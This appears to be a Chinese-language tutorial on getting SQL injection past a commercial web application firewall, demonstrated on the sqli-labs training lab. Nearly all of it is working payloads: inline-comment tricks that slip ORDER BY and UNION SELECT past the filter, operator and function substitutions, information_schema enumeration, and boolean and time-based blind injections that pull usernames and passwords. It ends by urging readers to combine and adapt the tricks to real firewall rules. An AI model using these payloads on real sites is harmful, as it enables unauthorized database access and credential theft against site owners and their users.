某狗SQL注入WAF绕过
字数 900 2025-08-20 18:17:42
SQL注入WAF绕过技术详解
前言
本文基于sqli-labs第一关字符型注入场景,详细讲解多种WAF(Web应用防火墙)绕过技术。这些技术适用于当标准SQL注入语句被WAF拦截时的绕过场景。
基础绕过技术
1. 逻辑运算符绕过
被拦截语句:
and 1=1
and 1=2
绕过方法:
- 使用
&&代替and(URL编码为%26%26) - 使用
True和False代替条件
示例:
1' && 1=1 --+
1' && True --+
2. ORDER BY绕过
传统方法失效:
/*!order*by*/ # 已失效
有效绕过方法:
order/*!60000ghtwf01*/by
注意:数字必须大于50000,后面可接任意字母
UNION注入绕过
1. UNION SELECT绕过
使用类似ORDER BY的绕过技术:
union/*!60000ghtwf01*/select
2. 函数名绕过
database()函数绕过:
database/**/()
或使用不存在的函数触发报错泄露信息:
-ghtwf01() # 会报错并显示数据库名
信息模式(Schema)查询绕过
1. schema_name绕过
select group_concat(/*!schema_name*/) from information_schema.schemata
2. table_name绕过
select group_concat(/*!table_name*/) from information_schema.tables where table_schema='security'
3. column_name绕过
select group_concat(/*!column_name*/) from information_schema.columns
where table_schema='security' && table_name=0x7573657273
注意:and需替换为&&(URL编码为%26%26)
FROM子句绕过
使用from.代替from:
select group_concat(username,0x7e,password,0x7e) from. users
盲注技术
1. 布尔盲注
数据库名长度检测:
1' && length(database/**/())=8--+
数据库名首字母检测:
1' && (hex(substr((select concat(/*!schema_name*/) from information_schema.schemata limit 0,1),1,1))=69)--+
说明:当ascii()被过滤时使用hex()替代
表名首字母检测:
1' && (hex(substr((select concat(/*!table_name*/) from information_schema.tables where /*!table_schema*/=0x7365637572697479 limit 0,1),1,1))=65)--+
注意:数据库名需十六进制编码(如security=0x7365637572697479)
列名首字母检测:
1' && (hex(substr((select concat(/*!column_name*/) from information_schema.columns where table_schema=0x7365637572697479 && table_name=0x7573657273 limit 0,1),1,1))=69)--+
字段值检测:
1' && (hex(substr((select username from. users limit 0,1),1,1))=74)--+
2. 时间盲注
当sleep()被过滤时,使用benchmark()替代:
1' && benchmark(10000000,md5('test'))--+
关键技巧总结
- 内联注释绕过:
/*!50000任意字符*/格式,数字必须大于50000 - 运算符替换:
and→&&(需URL编码为%26%26) - 函数名分割:
database()→database/**/() - 十六进制编码:对敏感字符串如数据库名、表名进行十六进制编码
- FROM子句特殊写法:使用
from.代替from - 函数替代:
ascii()→hex()sleep()→benchmark()
这些技术可以组合使用,根据实际WAF的拦截规则灵活调整绕过方式。